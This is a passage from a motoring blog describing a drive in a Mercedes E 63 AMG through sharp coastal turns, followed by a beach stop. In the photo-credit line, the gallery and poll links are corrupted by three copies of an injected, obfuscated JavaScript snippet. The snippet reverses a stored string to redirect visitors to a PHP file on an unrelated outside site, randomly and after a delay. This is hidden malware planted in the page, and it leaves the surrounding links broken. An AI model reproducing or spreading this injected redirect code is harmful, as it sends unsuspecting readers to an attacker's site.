After a quick break, the E 63’s AMG gearbox is behaving itself again. The warning shots have clearly been fired, and I have to change my driving style.
Working the accelerator rather than beating it, the V8 power is now delivered more gently onto the road as our convoy descends through the opening sharp left and right turns. There’s an immediate difference. There’s still a bit of a wiggle at the rear, but this softly-softly approach allows the power to be put down much more smoothly and thus, more precisely. The nose remains pointed and precise, and now that the acceleration is more focused, the sweeping left and right turns are dealt with more confidently. All of a sudden the beast is no longer trying to kill me, and I find myself marvelling at how well the Merc gets up to speed both through the corners and notably on the straights.
Even this gentle approach though doesn’t stop the gearbox changing from manual back to sport, and I reside myself to the fact that the AMG speedshift and I just will not get along. That plus the ever-increasingly hot asphalt has reduced grip quite considerably, and the balance is not quite where it was earlier as I flick the E 63 through a couple of left-right combos. James, leaning out of the passenger window and shooting the cars behind us, isn’t particularly enjoying the hot air ravaging the back of his neck either.
Saying that though, the E 63 proves itself a fine match for the smaller, lighter ‘opponents’ in our group. Though it may not have the same poise through the corners, the grunt on the straights is unparalleled, and most of the group agrees that there’s no leaving the big bad Merc for dust on these roads.
By 2pm, we’re all knackered. The run has been exhilarating, no doubt, but given the effort we’ve all put in behind the wheel, we’re pretty much done. A little further down the route we find a deserted stretch of beach, perfect for some more pictures and a tranquil setting to enjoy the moment. Some take this opportunity to go for a dip. Others soak up the sun.
And others?
Well, all of a sudden there’s a whole new playground to enjoy.
– Shots courtesy of James Davison. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/mercedes-e-63-amg-khasab/” target=”_blank”>the FULL GALLERY and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-the-rivals/” target=”_blank”>our POLL$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/mercedes-e-63-amg-khasab/” target=”_blank”>.
